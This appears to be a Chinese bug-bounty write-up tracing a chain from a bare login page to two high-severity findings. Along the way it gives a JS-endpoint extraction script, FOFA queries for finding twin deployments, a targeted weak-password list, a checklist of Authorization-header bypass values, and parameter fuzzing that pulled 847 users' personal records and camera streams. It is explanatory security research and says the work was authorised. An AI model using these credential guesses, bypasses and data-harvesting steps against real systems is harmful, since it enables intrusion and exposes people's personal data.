登录框漏洞挖掘 | 网络安全教程：从入口点到高危漏洞 SRC 实战路径分析

一个登录框能干嘛？这篇文章还原一条完整的SRC漏洞挖掘链——从开局一个空白登录页，到最终拿下两个高危。文中的每一处思路转向、每一个具体操作，以及中间踩过的坑、做出的判断，都值得写下来。本文适合所有做SRC挖洞的朋友参考。

一、开局：就一个登录框

某天SRC平台厂商上新资产，我习惯性地逐个点开。其中一个站是这种画风：

• 一个登录框，两个输入框（用户名 + 密码）
• 没有注册入口
• 没有「忘记密码」
• 没有验证码
• 页面底部没有技术支持、没有版权信息

说白了，除了一张登录表单和背景图，整个页面没有第三个功能。很多师傅面对这种站，可能就是F12扫一眼、打个弱口令、没中就走人了。

但我的判断是：只要能访问到登录页，就一定有一个完整的Web系统在背后。登录只是这个系统暴露出来的最小切面。这个切面打不开，不代表其他切面打不开。

第一步：JS信息提取——不只是搜路径

打开Burp，浏览器挂上代理，正常访问登录页。在 Burp 的Proxy → HTTP History里，把MIME Type筛选为script——所有登录页加载的 JavaScript 文件就出来了。

这次登录页一共加载了 6 个 JS 文件：

/js/vendor.js?v=2.3.1 /js/app.js?v=2.3.1 /js/chunk-vendors.js?v=2.3.1 /js/chunk-common.js?v=2.3.1 /config/env.js /js/login.js?v=2.3.1

看到config/env.js这种命名，往往有料。先把这个拉下来：

// config/env.js window.__CONFIG__= { VERSION: "2.3.1", API_HOST: "https://api.xxx.com", WS_HOST: "wss://ws.xxx.com", APP_KEY: "", ENV: "production" };

很好，拿到了 API 域名。接下来对app.js和chunk-common.js做正则提取。用 Burp 的Engagement tools → Find references或者在本地写个小脚本：

importre withopen('app.js', 'r', encoding='utf-8') asf: content=f.read() # 提取所有可能的API路径 patterns= [ r"""["'](/[a-zA-Z0-9_/\-\.]+\.[a-zA-Z]{2,6})["']""", # /path/file.ext r"""["'](/api[a-zA-Z0-9_/\-\.]+)["']""", # /api/xxx r"""["'](/[a-zA-Z0-9_/\-]+/\{[a-zA-Z]+\})["']""", # /{param} r"""path:\s*["'](/[a-zA-Z0-9_/\-]+)["']""", # path: '/xxx' r"""url:\s*["'](/[a-zA-Z0-9_/\-]+)["']""", # url: '/xxx' r"""baseURL:\s*["']([^"']+)["']""", # baseURL ] results=set() forpinpatterns: forminre.finditer(p, content): results.add(m.group(1)) forrinsorted(results): print(r)

这一步从app.js里提取了大约 80 多个路径。关键发现：

/api/user/login /api/user/logout /api/user/getuserinfo ← 注意这个 /api/system/config /api/file/upload /api/log/query /api/dashboard/statistics ... (70+ more)

第二步：对提取到的接口做未授权探测

Burp Intruder 配置：

结果跑了一圈，80 多个接口里：

• 大约 50 个返回302重定向到/login（正常，有认证拦截）
• 大约 20 个返回401/403
• 大约 10 个返回200，但内容是空 JSON 或错误提示

只有一个接口返回了有意义的数据：

GET/api/user/getuserinfo?userId=HTTP/1.1 Host: api.xxx.com HTTP/1.1 200 OK Content-Type: application/json { "code": 400, "message": "参数userId不能为空" }

这个响应是关键。它告诉我三件事：

1. 接口不需要登录认证，直接就能访问
2. 它需要userId参数
3. 报错信息用中文，说明是国内开发团队，错误处理比较随意

判断依据：一个真的做了鉴权的接口，不会走到参数校验这一步。如果接口有鉴权，你在没传 Token 的情况下，第一层就应该被拦截返回 401/302，而不是返回"参数不能为空"——这说明后端代码的执行顺序是先校验参数 → 再校验权限，或者干脆没做权限校验。

接下来就一件事：搞到一个有效的userId。

尝试枚举：

userId=1 → {"code": 404, "message": "用户不存在"} userId=1000 → {"code": 404, "message": "用户不存在"} userId=admin → {"code": 404, "message": "用户不存在"} userId=000000 → {"code": 404, "message": "用户不存在"}

500 次请求，全部 404。userId 显然不是一个简单的自增整数。

🔑第一个决策点：到此为止，这个站能用的入口全部用完了。换其他师傅可能就走了。但我的判断是——既然接口存在，只是 userId 拿不到，那问题就从「这个站能不能打」变成了「去哪儿搞 userId」。思路从单点突破转向横向找同系统。

二、思路转向：从「打一个站」到「打一套系统」

一个系统通常不会只部署在一个地方。如果这个登录框是某厂商的 SaaS 产品、或某个行业的标准软件（政府/教育/医疗），它大概率在互联网上有大量孪生实例。

用 FOFA 搜同系统资产

取登录页的特征。不能取太泛的（搜出来全是无关站），也不能取太窄的（搜不出来）。我选了三组特征：

特征一：页面标题

title="XXX管理系统"

搜出 42 条。但很多是不同系统共用标题。

特征二：JS文件的MD5指纹

chunk-vendors.js体积大、版本固定，取它的 body hash：

body_hash="a7f3c8d9e1b2..."

搜出 8 条。这个是精准匹配，但太少。

特征三：组合查询（最佳）

title="XXX管理系统" && body="window.__CONFIG__" && body="API_HOST"

搜出 17 条。去重后确认 17 个不同的 IP/域名，去掉 CDN 镜像和测试环境，有效目标约 14 个。

🔑FOFA 语义技巧：多条件组合比单条件精准得多。title + body_hash组合的精确度远超domain搜索。目标是找到「同一套代码部署在不同地方」的实例，所以 JS 文件的 hash 是最强特征，其次是页面中特有的变量名和配置结构。

三、逐个测试同系统实例——弱口令突破口

拿到 14 个目标后，逐个打开登录页。首先测最简单的——弱口令。

弱口令字典设计思路：

不是拿一个 1000 条的通用字典狂怼，那样容易被封 IP。针对「管理系统」场景，我用的字典结构是：

admin/admin admin/admin123 admin/123456 admin/Admin@123 admin/系统域名或缩写 admin/Admin123456 test/test123 test/123456 sa/admin123 root/admin system/admin

就 10 组，打完换一个。因为这是定向测试而不是暴力破解——对管理系统，用户名大概率就是admin，密码大概率是admin+ 数字/特殊字符的变体。

测试到第 9 个站时：

POST /api/user/login HTTP/1.1 Content-Type: application/json {"username":"admin","password":"admin123"} HTTP/1.1 200 OK { "code": 200, "data": { "token": "eyJhbGciOiJIUzI1NiIs...", "userId": "XXXXXXXXXXXXXXXXXXXXXXXX", "roleId": "1", "tenantId": "T20210100001" } }

进来了。userId 拿到了，是一串很长的字符（UUID 类）。之前枚举数字当然枚举不到。

四、登录后——后台才是真正的金矿

很多师傅进了后台就开始点功能、测文件上传、测 XSS。这些都是对的，但我进后台后的第一步永远不变：继续抓 JS。

原因很简单——登录态下，浏览器会加载一大堆登录页没有的 JS 文件。这些文件里有管理后台的路由表、所有子系统模块的 API 接口、WebSocket 配置、甚至数据库查询字段的映射关系。

后台 JS 的挖掘步骤

把 Burp 的 HTTP History 中登录后的所有script类型请求导出，逐个分析。

这次登录后，新增了 12 个 JS 文件。我按体积从大到小排队分析——越大的文件代码越多，暴露的信息越多。

第一个大文件是abcdindex.hash值.js（约 600KB），格式化后在文件末尾找到了路由表：

// abcdindex.js 片段（已脱敏处理） varroutes= [ { path: '/dashboard', name: 'Dashboard', component: function() { returnn('Dashboard') }, meta: { title: '首页', icon: 'home' } }, { path: '/system/user', name: 'UserManage', component: function() { returnn('UserManage') }, meta: { title: '用户管理', icon: 'user' }, children: [ { path: 'list', component: function() { returnn('UserList') } }, { path: 'detail/:id', component: function() { returnn('UserDetail') } }, { path: 'role', component: function() { returnn('RoleManage') } } ] }, { path: '/system/camera', name: 'Camera', meta: { title: '视频监控', icon: 'video' }, children: [ { path: 'dashboard', component: function() { returnn('CamDashboard') } }, { path: 'live', component: function() { returnn('CamLive') } }, { path: 'playback', component: function() { returnn('CamPlayback') } } ] }, { path: '/system/log', name: 'LogQuery', meta: { title: '日志查询', icon: 'file' }, children: [ { path: 'operation', component: function() { returnn('OpLog') } }, { path: 'login', component: function() { returnn('LoginLog') } } ] }, { path: '/system/settings', name: 'Settings', meta: { title: '系统设置', icon: 'setting' }, children: [ { path: 'basic', component: function() { returnn('BasicSettings') } }, { path: 'security', component: function() { returnn('SecuritySettings') } } ] }, // 注意下面这几个：path 前没有 /system，是独立的子模块 { path: '/device', name: 'Device', component: function() { returnn('DeviceManage') }, meta: { title: '设备管理' } }, { path: '/alarm', name: 'Alarm', component: function() { returnn('AlarmCenter') }, meta: { title: '告警中心' } } ];

路由表的价值在于：它告诉你这个系统有哪些功能模块，以及每个模块的前端路由路径。结合 API_HOST，就能推导出后端的 API 路径。

mulu.json — 意外之喜

继续翻 JS 请求列表，发现后台还请求了一个配置文件：

GET /config/mulu.json

返回的内容直接是 API 目录清单：

{ "modules": [ { "name": "user", "baseUrl": "https://api.xxx.com/user/v1/", "endpoints": [ "/list", "/detail", "/create", "/update", "/delete", "/resetPassword", "/queryByRole" ] }, { "name": "camera", "baseUrl": "https://api.xxx.com/camera/v1/", "endpoints": [ "/list", "/live/{id}", "/playback/{id}", "/snapshot/{id}", "/ptz/control", "/ptz/preset" ] }, { "name": "device", "baseUrl": "https://api.xxx.com/device/v1/", "endpoints": [ "/list", "/register", "/status/{id}", "/command/{id}" ] }, { "name": "alarm", "baseUrl": "https://api.xxx.com/alarm/v1/", "endpoints": [ "/list", "/rule/list", "/rule/create", "/rule/update", "/history" ] }, { "name": "log", "baseUrl": "https://api.xxx.com/log/v1/", "endpoints": [ "/operation", "/login", "/system", "/export" ] }, { "name": "tenant", "baseUrl": "https://api.xxx.com/tenant/v1/", "endpoints": [ "/info/{id}", "/users/{tenantId}", "/queryData" ] } ] }

这是整个挖掘链中最关键的一个文件。它把整个后端 API 的完整结构暴露了，连命名规范都一清二楚（/{module}/v1/{resource}/{action}）。

🔑这个文件的获取方式值得强调：它不是从 JS 代码里翻出来的，而是从浏览器的正常请求序列里发现的——后台首页加载时，前端会自动请求mulu.json来渲染侧边栏菜单。所以进后台后的第一步不应该是去点功能，而是仔细看一遍所有的网络请求，特别是那些.json结尾的配置请求。

五、第一个高危：通用型未授权访问

手里现在有完整的 API 列表（mulu.json中每个模块的baseUrl + endpoint），按以下方式拼接成完整的测试用例：

{baseUrl}{endpoint} 例如：https://api.xxx.com/camera/v1/list https://api.xxx.com/camera/v1/live/{id}

把{id}、{userId}等路径参数用已知的值替换（前面登录时拿到的 userId、roleId、tenantId）。

测试策略：双重验证

用两个 Burp 会话同时测：

为什么这样？因为如果只用会话B去测，返回 200 但内容是空数组[]——你分不清是「有数据但我没权限所以不返回」还是「接口正常但没有数据」。有会话A的正常响应做对照，就能准确判断。

发现过程

会话B 的 Intruder 跑了一遍，结果如下（部分）：

https://api.xxx.com/camera/v1/list → 200 ✅ [{cameraId, name, status, ...}] https://api.xxx.com/camera/v1/live/xxx → 200 ✅ {streamUrl, status, ...} https://api.xxx.com/camera/v1/snapshot/xxx → 200 ✅ image binary https://api.xxx.com/user/v1/list → 403 ❌ https://api.xxx.com/device/v1/list → 200 ✅ [{deviceId, type, ...}] https://api.xxx.com/tenant/v1/users/xxx → 400 ⚠️ "缺少参数tenantId"

注意到了吗——不同模块的鉴权策略完全不同：

• user/v1做了鉴权，返回 403
• camera/v1完全没有鉴权，直接返回数据
• device/v1也没有鉴权
• tenant/v1需要额外参数

这说明后端的鉴权不是统一的拦截器，而是每个模块各自实现——典型的微服务架构下鉴权散落的问题。

camera/v1/list返回了约 300+ 条摄像头记录，每条包含：

{ "cameraId": "CAM-2020-XXXX", "name": "XX街道1号摄像头", "location": "XX市XX区XX路", "streamUrl": "rtsp://...", "status": "online", "ptzSupport": true }

就是说，不登录就能直接看到这个系统管理的所有摄像头的实时画面和云台控制接口。

🔑到这一步，这个漏洞的性质已经是「通用型」：同一个mulu.json里暴露的API，对所有同系统实例都有效。一个漏洞影响 14 个站点。

提交报告：

漏洞名称：XXX管理系统通用型未授权访问漏洞 漏洞类型：未授权访问（OWASP A01:2021） 危害等级：高危 影响范围：通过FOFA确认的14个同系统实例 复现步骤： 1. 访问 https://target/api.xxx.com/camera/v1/list（不带Cookie/Token） 2. 返回300+摄像头详细信息，包括streamUrl、位置、状态 3. 拼接 /live/{cameraId} 可直接获取实时视频流

六、继续深挖：鉴权逻辑缺陷分析

拿到第一个高危后，正常思路是继续看其他模块。但我不想盲目乱测——从前面user/v1返回 403 而camera/v1返回 200 的现象，我判断这个系统一定有鉴权逻辑上的操作空间。

接口行为分类

把mulu.json里的所有接口都跑一遍（会话B，不带认证），按返回结果分类：

「缺参数」类型引起了我的注意。因为这意味着——请求穿过了鉴权层，到达了业务层，业务层说「你参数不够」而不是「你没权限」。

也就是说：这些接口没有做鉴权，只是需要特定的参数值。只要你找对了参数，就能拿到数据。

B类接口的鉴权绕过

对于「已鉴权」的接口（返回 302/401），我开始做绕过测试。核心思路：测试后端鉴权逻辑是在哪个环节生效的，以及能否跳过那个环节。

对user/v1/list的绕过测试记录：

# 测试1：原始请求（已鉴权 → 302） GET /user/v1/list HTTP/1.1 HTTP/1.1 302 Location: /login # 测试2：空Authorization头 GET /user/v1/list HTTP/1.1 Authorization: HTTP/1.1 302 ← 还是302，说明「空」不等于「没有」 # 测试3：Bearer空Token GET /user/v1/list HTTP/1.1 Authorization: Bearer HTTP/1.1 200 ✅ ← 绕过去了！ { "code": 400, "message": "缺少参数userId" } # 测试4：完全删除Authorization头 GET /user/v1/list HTTP/1.1 HTTP/1.1 200 ✅ ← 也绕过去了！ { "code": 400, "message": "缺少参数userId" }

看到区别了吗？返回302和返回200{code:400}有本质区别：

• 302→ 被拦截器拦住，直接重定向登录页
• 200{code:400}→ 通过了拦截器，进入 Controller 层，Controller 说参数不够

测试2（Authorization:空头）和测试3（Authorization: Bearer）的不同结果说明：

测试2: Authorization: (空) ↓ 拦截器看到空字符串 → 判断为「无效Token」→ 302 测试3: Authorization: Bearer (空token) ↓ 拦截器看到有Bearer前缀 → 判断为「Token格式正确但值为空」→ 放行（Bug!）

这个鉴权拦截器的逻辑大概是：

// 伪代码还原 StringauthHeader=request.getHeader("Authorization"); if (authHeader==null) { // 没有传Authorization头 → 直接放行（Bug!） chain.doFilter(request, response); } elseif (authHeader.startsWith("Bearer ")) { Stringtoken=authHeader.substring(7); if (token.isEmpty()) { // Bearer后为空 → 没做校验，直接放行（Bug!） chain.doFilter(request, response); } else { // 正常验证Token if (tokenService.validate(token)) { chain.doFilter(request, response); } else { response.sendRedirect("/login"); } } }

🔑这类鉴权缺陷在真实系统中极其常见，根源在于：

1. 拦截器只检查「有没有 Authorization 头」，而不是「有没有认证」
2. 对空值/边界值的处理不严谨——null、""、"Bearer "三种情况的行为不一致
3. 微服务架构下，部分模块的拦截器配置遗漏

鉴权绕过测试清单

总结一下，以后每个站都要测这组手法：

1. 删除 Authorization 头 → 看是否降级为缺参数错误 2. Authorization: (空行) → 测空字符串处理 3. Authorization: Bearer (空) → 测Bearer前缀+空Token 4. Authorization: Basic Og== → Base64编码的空凭证 5. Authorization: Bearer undefined 6. Authorization: Bearer null 7. Authorization: Bearer true 8. 双Authorization头（一个有效、一个无效）→ 测头解析优先级 9. 大小写变形：authorization / AUTHORIZATION / Authorization 10. X-Original-Token / X-Auth-Token 等替代头 → 测是否还有其他入口

七、参数 FUZZ：从缺参数到全量数据

现在手里有三样东西：

• ✅mulu.json的完整 API 列表
• ✅ 登录时拿到的userId、roleId、tenantId（UUID 格式）
• ✅ 鉴权绕过的方法（删 Authorization 头 / Bearer 空 Token）

接下来系统性地把所有「缺参数」的接口遍历一遍。

FUZZ 策略

Burp Intruder 配置：

为什么用 Pitchfork 而不是 Cluster Bomb？因为userId和tenantId是一一对应的（同一个用户属于同一个租户），不需要交叉组合。用 Cluster Bomb 会产生 (N个userId × N个tenantId) 的笛卡尔积，请求量暴增还容易触发风控。

发现

tenant/v1/users/{tenantId}直接返回了该租户下的所有用户列表：

{ "code": 200, "data": { "total": 847, "rows": [ { "userId": "xxx-xxx-xxx-001", "userName": "张三", "realName": "张三", "phone": "138****1234", "email": "zhang***@xxx.com", "idCard": "3301**********1234", "address": "XX省XX市XX路XX号", "roleName": "管理员", "createTime": "2020-03-15 10:22:33" }, // ... 847条 ] } }

一次性拿到 847 条用户数据，包括姓名、手机、身份证号、邮箱、地址、角色。

再把这个返回里的userId提取出来，反哺给user/v1/detail/{userId}，进一步拿到每个用户的详细操作日志和权限配置。

🔑参数 FUZZ 的正确姿势：

1. 先用已知参数测通一个接口
2. 从响应里提取新的参数值（如 userId、orderId）
3. 用新参数反哺其他接口
4. 形成闭环的数据挖掘链这种「参数驱动」的方式比盲目 FUZZ 命中率高得多。

提交第二个高危：

漏洞名称：XXX管理系统越权漏洞 漏洞类型：越权访问/敏感信息泄露（OWASP A01:2021） 危害等级：高危 复现步骤： 1. 删除请求中的Authorization头 2. 通过 tenant/v1/users/{tenantId} 获取租户下全部用户列表（847条） 3. 包含姓名、手机号、身份证号、邮箱、地址等敏感个人信息 4. 进一步通过 user/v1/detail/{userId} 获取用户操作日志

八、完整攻击链还原

第一阶段：外部信息收集 ┌─────────────────────────────────────────────┐ │ 登录页 JS 提取 │ │ ├─ config/env.js → API域名 │ │ ├─ app.js → 80+ API路径 │ │ └─ 发现 getuserinfo 接口（缺userId参数） │ │ │ │ 横向搜索同系统 │ │ ├─ FOFA: title + body_hash 组合查询 │ │ ├─ 确认 17 个同系统实例 │ │ └─ 去除无效 → 14 个有效目标 │ └─────────────────────────────────────────────┘ ↓ 第二阶段：突破边界 ┌─────────────────────────────────────────────┐ │ 逐个测试 14 个目标 │ │ ├─ 10组定向弱口令字典 │ │ ├─ 第9个目标: admin / admin123 │ │ └─ 登录成功 → 拿到 userId+roleId+tenantId │ └─────────────────────────────────────────────┘ ↓ 第三阶段：内部视角攻击面扩展 ┌─────────────────────────────────────────────┐ │ 后台 JS 深挖 │ │ ├─ abcdindex.js → 完整路由表（6大模块） │ │ ├─ mulu.json → 所有API的baseUrl+endpoint │ │ └─ 拼接出约 60 个完整 API URL │ └─────────────────────────────────────────────┘ ↓ 第四阶段：漏洞产出 ┌─────────────────────────────────────────────┐ │ 双重会话验证 │ │ ├─ 会话A(带Token) vs 会话B(无认证) │ │ ├─ camera/v1/* → 无鉴权 → 高危① │ │ ├─ device/v1/* → 无鉴权 │ │ └─ alarm/v1/* → 无鉴权 │ │ │ │ 鉴权绕过分析 │ │ ├─ Authorization头删除 → 绕过 │ │ ├─ Bearer+空Token → 绕过 │ │ └─ 接口分类: 已鉴权25 / 未授权15 / 缺参数20 │ │ │ │ 参数FUZZ │ │ ├─ tenantId → 847条用户数据 → 高危② │ │ ├─ userId → 用户详情+操作日志 │ │ └─ 参数反哺 → 形成闭环挖掘链 │ └─────────────────────────────────────────────┘

九、方法论总结：五个核心原则

1. 横向思维：打不动一个就找它的兄弟姐妹

这是本次挖掘链最关键的思路转向。从「一个站打不通就走了」到「搜同系统找到弱口令突破口」，一念之差决定有没有产出。

实操清单：

• FOFA:title + body_hash精确定位同系统
• 鹰图:web.body + web.title组合搜索
• Shodan:http.title + http.html_hash
• ZoomEye:title + body hash

2. JS 是最被低估的攻击面

前端代码不光能告诉你 API 路径，还能告诉你：鉴权模式、数据格式、业务逻辑、错误处理方式、甚至后端的版本号。每一个 JS 文件都值得花时间分析。

分析优先级：

1. config/*.js、env.js→ API 域名、环境配置
2. router/*.js、routes.js→ 功能模块和路径结构
3. 体积 > 500KB 的主 bundle → 包含最多的业务逻辑
4. *.json配置文件 → API 清单（mulu.json 这种是宝藏）
5. *.mapsourcemap 文件 → 如果开启了，等于拿到了源码

3. 鉴权逻辑缺陷是最好的漏洞类型

SQL 注入越来越难挖（WAF + 预编译 + 输入过滤），但鉴权逻辑缺陷几乎不可能被自动化工具发现——因为它们需要「理解」鉴权应该长什么样。这正是手工测试的价值点。

每个接口必测的鉴权检查项：

• 删 Token → 看行为
• 空 Token → 看行为
• 伪造 Token（改 payload 不改签名）→ 看报错是不是暴露了信息
• 低权限 Token 访问高权限接口 → 垂直越权
• 用户A的 Token 访问用户B的数据 → 水平越权

4. 参数反哺：从一个漏洞滚出多个漏洞

不要拿到一个漏洞就提交。一个漏洞产出的数据（userId、orderId、sessionId）是下一个漏洞的钥匙。形成闭环：

漏洞 N → 产出参数 P → 投喂给其他接口 → 漏洞 N+1 → 产出参数 Q → ...

5. 通用型思维

你找到一个站点的漏洞，不等于只影响这个站点。同一个系统在不同地方部署，漏洞通常是通用的。一个高危 × 14 个实例比 14 个单站高危更有价值。

十、写在最后

有人问我：这种挖掘链是不是全靠运气——正好碰到弱口令、正好有 mulu.json 泄露？

我的看法是：方法论决定了你发现漏洞的概率，而不是保证你每次都发现。你每次测试都做 JS 提取，一百次里总有一次碰到 mulu.json；你每次都用双重会话对比，一百次里总有一次发现鉴权缺陷。这些方法论的积累，就是从一个「有时能找到漏洞」的白帽变成一个「总能找到漏洞」的白帽的路径。

这条链的三个核心转向，每一个都对应着一个可以复用的方法论：

1. 单点打不通 → 横向搜同系统：不钻牛角尖，扩大目标面
2. 进了后台 → 先抓 JS 再测功能：信息收集优先级高于漏洞测试
3. 拿到一个漏洞 → 继续挖：用已有数据反哺新的测试点

希望这篇文章能帮你下一次挖 SRC 时多一些思路，少一些「不知道怎么下手」的时间。

本文涉及的所有技术操作均在已获得厂商授权的 SRC 平台范围内进行。未经授权的渗透测试属于违法行为。安全技术应服务于防御建设，而非破坏。

最后

关于网络安全技术储备

网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣（黑客），都是未来职业选择中上上之选，为了保护自己的网络安全，学习网络安全知识是必不可少的。

如果你是准备学习网络安全（黑客）或者正在学习，下面这些你应该能用得上：

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全（黑客）学习路线

网络安全（黑客）学习路线，形成网络安全领域所有的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这里带来的是CTF&SRC资料&HW资料，毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后，我们所有的作为都是为就业服务的，所以关键的临门一脚就是咱们的面试题内容，所以面试题板块是咱们不可或缺的部分，这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难，难的是坚持和相信自己，我的经验是既然已经选定网安你就要相信它，相信它能成为你日后进阶的高效渠道，这样自己才会更有信念去学习，才能在碰到困难的时候坚持下去。

机会属于有准备的人，这是一个实力的时代。人和人之间的差距不在于智商，而在于如何利用业余时间，只要你想学习，什么时候开始都不晚，不要担心这担心那，你只需努力，剩下的交给时间！

这份完整版的网络安全学习资料已经上传CSDN，朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】